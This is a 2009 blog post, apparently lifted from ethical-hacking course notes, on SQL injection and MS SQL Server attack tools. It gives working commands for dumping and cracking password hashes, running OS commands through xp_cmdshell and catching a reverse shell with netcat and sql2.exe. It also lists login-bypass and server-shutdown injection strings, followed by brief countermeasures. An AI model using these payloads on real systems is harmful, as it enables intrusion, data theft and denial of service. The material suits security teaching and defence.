Search Within This Blog

Loading...

Sunday, November 15, 2009

SQL Injection Hacking Tools


Hacking Tool: SQLDict


  • "SQLdict"is a dictionary attack tool for SQL Server.


  • It lets you test if the accounts are strong enough to resist an attackor not.


Note 
We have discussed password cracking earlier in different contexts. When it comes to SQL Server, the fundamental attack methodology remains the same - dictionary attack and brute force. As part of its defensive measure, SQL Server does restrict access to the password hashes in the syslogin table to administrator level users by default.

Tools 
However if the attacker has gained privileges to gain access then he can first try a dictionary attack. One such tool that can be used in this context is SQLdict. It is a dictionary attack tool for SQL Server and tests for vulnerable accounts.


If this is unsuccessful, he can opt for a brute force attack. Though it is much slower, the brute force attack computes the hashes of every single possible combination of letters, numbers and punctuation characters for comparison with the stored hashes.




Hacking Tool: SQLExec


  • This tool executes commands on compromised Microsoft SQL Servers using xp_cmdshell stored procedure.


  • It uses default sa account with NULL password. But this can be modified easily.


  • USAGE: SQLExec www.target.com



SQLExec is a command-line interface written by Egemen Tas for MS-SQL servers that will allow an attacker to execute commands on the underlying operating system, execute SQL queries and upload files to the remote server. It allows the attacker to execute remote commands as Administrator over tcp port 1433. It logs in with the default password (changeable) and includes a built-in scanner for finding unsecured hosts on the network.


It is known that MS SQL Server comes with default SA(Sys Admin) account with NULL password. It seems that many system administrators do not take care of dangers of this situation. By default SQL server comes with a few stored procedures .xp_cmdshell is one of them and used for executing commands with SQL server. Again by default SQL server installs itself with local system privileges. If someone has a right to access master database this means he can execute commands on the host. If the connected user is SA then commands are executed with the context of SQL server (Local System by default) otherwise with the context of SQLExecutiveCmdExecAccount. These behaviors occur with default installations.




Hacking Tool: sqlbf


  • Sqlbf is a SQL Sever Password Auditing tool. This tool should be used to audit the strength of Microsoft SQL Server passwords offline. The tool can be used either in BruteForce mode or in Dictionary attackmode. The performance on a 1GHZ pentium (256MB) machine is around 750,000 guesses/sec.


  • To be able to perform an audit, one needs the password hashes that are stored in the sysxlogins table in the master database.


  • The hashes are easy to retrieve although you need a privileged account to do so, like an sa account. The query to use would be:
    select name, password from master..sysxlogins
    


  • To perform a dictionary attack on the retrieved hashes:
    sqlbf -u hashes.txt -d dictionary.dic -r
    out.rep
    



This tool can be used to audit the strength of SQL Server passwords offline. The tool can be used either in Brute Force mode or in Dictionary attack mode. The performance on a 1 GHz Pentium (256mb) is around 750 000 guesses/sec.

The program takes the password hashes as the input (The password hashes needs to be formatted in a text file accordingly) ,

  • To perform a dictionary attack on the retrieved hashes:

    • usage
      sqlbf -u hashes.txt -d dictionary.dic -r out.rep
      


    • This will run the dictionary.dic against the hashes in the hashes.txt file and report found matches in the out.rep file.



  • To perform a brute force attack on the retrieved hashes:

    • usage
      sqlbf -u hashes.txt -c default.cm -r out.rep
      


    • This will try to brute force the passwords by using the supplied character set in the default.cm and output the results to out.rep.






Hacking Tool: SQLSmack


  • SQLSmack is a Linux based Remote Command Execution for MSSQL.


  • The tool allows when provided with a valid username and password on a remote MS SQL Server to execute commands by piping them through the stored procedure master..xp_cmdshell



This tool allows an attacker to execute commands by piping them through the xp_cmdshell stored procedure. Usage of this tool requires a valid username and password combination..

[sqlsmack installation]

  1. Install FreeTDS (url: http://www.freetds.org/download.html)
    $ tar -zpxvf freetds-o.XX.tgz
    $ cd freetds-0.XX
    $ ./configure --with-tdsver=70 --enable-msdblib
    $ make
    $ su
    # make install
    


  2. Install the FreeTDS PERL Module (url: http://www.cpan.org/authors/id/S/SP/SPANNRING)
    * This assumes you already have the DBI module installed.
    $ tar -zpxvf DBD-FreeTDS-o.XX.tgz
    $ cd DBD-FreeTDS-o.XX
    $ perl Makefile.PL
    $ make
    $ su
    # make install
    


  3. Usage
    [run system commands]
    $ ./sqlsmack.pl -h  -c'net view'
    [dump databases records]
    $ ./sqlsmack.pl -h  -d MONEYDB -q'SELECT * FROM users'
    





Hacking Tool: SQL2.exe


  • SQL2 is a UDP Buffer Overflow Remote Exploit hacking tool.



Using sql2.exe, a remote user can reportedly send a specially crafted packet to the SQL Server 2000 Resolution Service on UDP port 1434 to trigger one of two overflows, a heap overflow or a stack overflow. This could cause the SQL server service to crash or it could cause arbitrary code to be executed in the security context of the SQL Server service.

This tool will compromise the SQL Server and spawn a remote shell to a system of the attacker's choosing. The tool exploits a buffer overflow. Traditional Windows shellcode uses pipes to communicate to shell and the process - using the pipes as standard in, out and error. This code uses WSASocket() to create a socket handle and it is this socket that is passed to CreateProcess() as the handle for standard in, out and error. Once the shell has been created it then connects out to a given IP address and port. It therefore becomes a remote exploit which uses UDP to overflow a buffer and send a shell to tcp port 53.

SQL2 Syntax

Launch two command prompt windows:
CMD Window 1 Launch Netcat
c:\> nc -1 -p 53
CMD Window 2 Launch SQL2 tool
c:\> sql2.exe 2.3.4.5 5.6.4.4 53 0
(sql2    )
This tool gained popularity as the code was used in the slammer worm, which affected a large number of SQL Servers.




Preventive Measures


  • Minimize Privileges of Database Connection


  • Disable verbose error messages


  • Protect the system account 'sa'


  • Audit Source Code

    • Escape Single Quotes


    • Allow only good input


    • Reject known bad input


    • Restrict length of input





Countermeasure 
As we've seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding.




Countermeasure 
Remove Culprit Characters/Character Sequences: As we have seen before, certain characters and character sequences such as; --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this:

---Regards,
Amarjit Singh
9953926905

What is SQL Injection?

SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.
This is perhaps the simplest definition of SQL injection. Naturally, the first step in this direction should be to uncover web applications that are vulnerable to the attack. The attack takes advantage of poor code and website administration.

Concept 
In SQL injection, user controlled data is placed into a SQL query without being validated for correct format or embedded escape strings. It has been known to affect majority of applications which use a database backend and do not filter variable types. It has been estimated that at least 50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to this attack. The dominant cause is the improper validation in CFML, ASP, JSP, and PHP codes.



Attack Methods 

How does an attacker go about uncovering the susceptible web application? This discovery phase includes activities such as looking at web pages for anything resembling an ID number, category, or name. The attacker may sift through all forms of variables as well as cookies. Many a times session cookies are stored in a database and these cookies are passed into SQL queries with little or no format checks. He may try placing various strings into form fields and in query variables. However, typically, someone looking for SQL vulnerability will start off with single and double quotes and then try with parenthesis and the rest of the punctuation characters. The response expected is any response signifying an error.



OLE DB Errors
The user filled fields are enclosed by single quotation marks ('). So a simple test of the form would be to try using (') as the username.


Login Guessing & Insertion
  • The attacker can try to login without a password. Typical usernames would be 1=1 or any text within single quotes.
  • The most common problem seen on Microsoft MS - SQL boxes is the default sa password.
  • The attacker can try to guess the username of an account by querying for similar user names (ex: ad%' is used to query for "admin").
  • The attacker can insert data by appending commands or writing queries.



In the preceding example we have seen how web application vulnerability could be detected using a single quote. We have also seen how improper input validation can result in an attacker accessing the database. Here, we will examine how an attacker can guess his way into the site.

Attack Methods 
From database fingerprinting, if the attacker has determined that the database backend is SQL server, he will try his luck with the default admin login credentials - namely sa and a blank password.

Alternatively he can issue a query so that his query would retrieve a valid username. For instance, to retrieve the administrative account, he can query for users.userName like 'ad%' --
Now if the attacker does not want to login and just wants to 'harvest' the site, he may try to view extra information which is not otherwise available. He can choose to transform the url such as the ones shown below to retrieve information.



Here, the "sCategory" is the variable name, and "Tools" is the value assigned to the variable. The attacker changes this valid url into:



If the code underlying the page has a segment similar to the one shown below:

sub_cat = request ("sCategory")
sqlstr="SELECT * FROM product WHERE Category='" & sub_cat &'""
Set rs=conn.execute (sqlstr)
Now, the value "Kits" taken in by the variable "sCategory" is attributed to sub_cat and hence the SQL statement becomes:

SELECT * FROM product WHERE Category='Kits'
Therefore the output will be a result set containing rows that match the WHERE condition. If the attacker appends the following to the valid url,



The SQL statement becomes SELECT * FROM product WHERE Category='Tools' or 1=1 --'
This leads the query to select everything from the product table irrespective of whether Category equals "Tools' or not. The double dash " --" instructs the SQL Server to ignore the rest of the query. This is done to eliminate the last hanging single quote ('). Sometimes, it is possible to replace double dash with single hash "#".
If the database backend in question is not an SQL Server, it will not recognize the double dash. The attacker can then try appending ' or 'a'='a, which should return the same result.

Depending on the actual SQL query, the various possibilities available to the attacker are:
'or 1=1--

"or 1=1--

or1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

To use the database for his malevolent intent, the attacker needs to figure out more than just what database is running at the backend. He will have to determine the database structure and tables. Revisiting our product table, we see that the attacker can insert commands such as:

insert into Category value (warez)
Suppose the attacker wants to add a description of the files he wants to upload, he will need to determine the structure of the table. He might be able to do just that, if error messages are returned from the application according to the default behavior of ASP and decipher any value that can be read by the account the ASP application is using to connect to the SQL Server.

The insertion methods will vary according to the database at the backend. For instance, MS SQL is considered to be the easiest system for SQL Insertion. Oracle has no native command execution capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL - though without as many stored procedures. MySQL is very limited in scope. SubSelects are a possibility with newer versions. It is typically restricted to one SQL command per query.


Shutting Down SQL Server
  • One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.
    Username: ' ; shutdown with nowait; -
    - Password [Anything]
    
  • This can happen if the script runs the following query:
    select userName from users where
    userName=';     shutdown with
    nowait;-' and user_Pass=' '
    



Threat 
The default installation of SQL Server has the system account (sa) which is accorded all the privileges of the administrator. An attacker who happens to stumble across this account while harvesting websites can take advantage of this and gain access to all commands, delete, rename, and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done with the site is to issue a denial of service by shutting down the SQL Server.

Attack Methods 
A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This causes the server to shutdown, immediately stopping the Windows service. After this command has been issued, the service must be manually restarted by the administrator. Let us take a look at an example. At an input form such as login, which is susceptible to SQL injection, the attacker issues the following command.


Username: '; shutdown with nowait; --
Password: [Anything]
This would make our login.asp script run the following query:

select userName from users where userName=";
shutdown with nowait; --'and userPass="
The '--' character sequence is the 'single line comment' sequence in Transact -SQL, and the ';' character denotes the end of one query and the beginning of another. If he has used the default sa account, or has acquired the required privileges, SQL server will shut down, and will require a restart in order to function again.



Extended Stored Porcedures
  • There are several extended stored procedures that can cause permanent damage to a system.
  • We can execute an extended stored procedure using our login form with an injected command as the username as follows:
  • Username: ' ; exec master..xp_xxx; --
  • Password: [Anything]
  • Username: ' ; exec master..xp_cmdshell ' iisreset' ; --
  • Password: [Anything]


Note 
A stored procedure is a collection of SQL statements that can be called as though they were a single function. A SQL stored procedure is similar to a batch file - both are text files consisting of commands, and can be run by invoking the name of the procedure or batch file. An extended stored procedure (XP) takes the notion of a stored procedure one step further. Where stored procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs. Stored procedures primarily consists of SQL commands, while XPs can provide entirely new functions via their code.

Attack Methods 
An attacker can take advantage of extended stored procedure by entering a suitable command. This is possible if there is no proper input validation. xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: exec master..xp_cmdshell 'dir' will obtain a directory listing of the current working directory of the SQL Server process. In our example, the attacker may try entering the following input into a search form can be used for the attack.


' exec master..xp_cmdshell 'product handy cam/DELETE' --
When the query string is parsed and sent to SQL Server, the server will process the following code:
SELECT * FROM PTable WHERE input text =" exec master..xp_cmdshell ' product
handycam/DELETE' --'

The advantage of this attack method is that the DLL file only needs to be present on a machine accessible by the SQL Server. Here, the first single quote entered by the user closes the string and SQL Server executes the next SQL statements in the batch including a command to delete a product to the product table in the database.


SQL Server Talks!

This command uses the 'speech.voicetext' object, causing the SQL Server to speak:
admin'; declare @o int, @ret
       int exec sp_oacreate
       'speech.voicetext', @o,
       'register', NULL,'foo',
       'bar' exec sp_oasetproperty
       @o, 'speed',150 exec
       sp_oamethod @o, 'speak',
       NULL, 'all your sequel
       servers are belong to us',
       528 waitfor delay '00:00:05'--



It is possible for an attacker to leverage built-in extended stored procedures which are provided for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in VBScript or JavaScript, and they create automation objects and interact with them. They are functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can accomplish what an ASP script or a WSH script will do.
Of the possible attack methodologies, this is an interesting one documented by Chris Anley in his oft quoted paper 'Advanced SQL Injection techniques'. This is one example from his paper that illustrates this aspect.
declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers belong to us', 528

waitfor delay '00:00:05'
This uses the 'speech.voicetext' object, causing the SQL Server to speak.



---Regards,
Amarjit Singh
9953926905

Recent Comments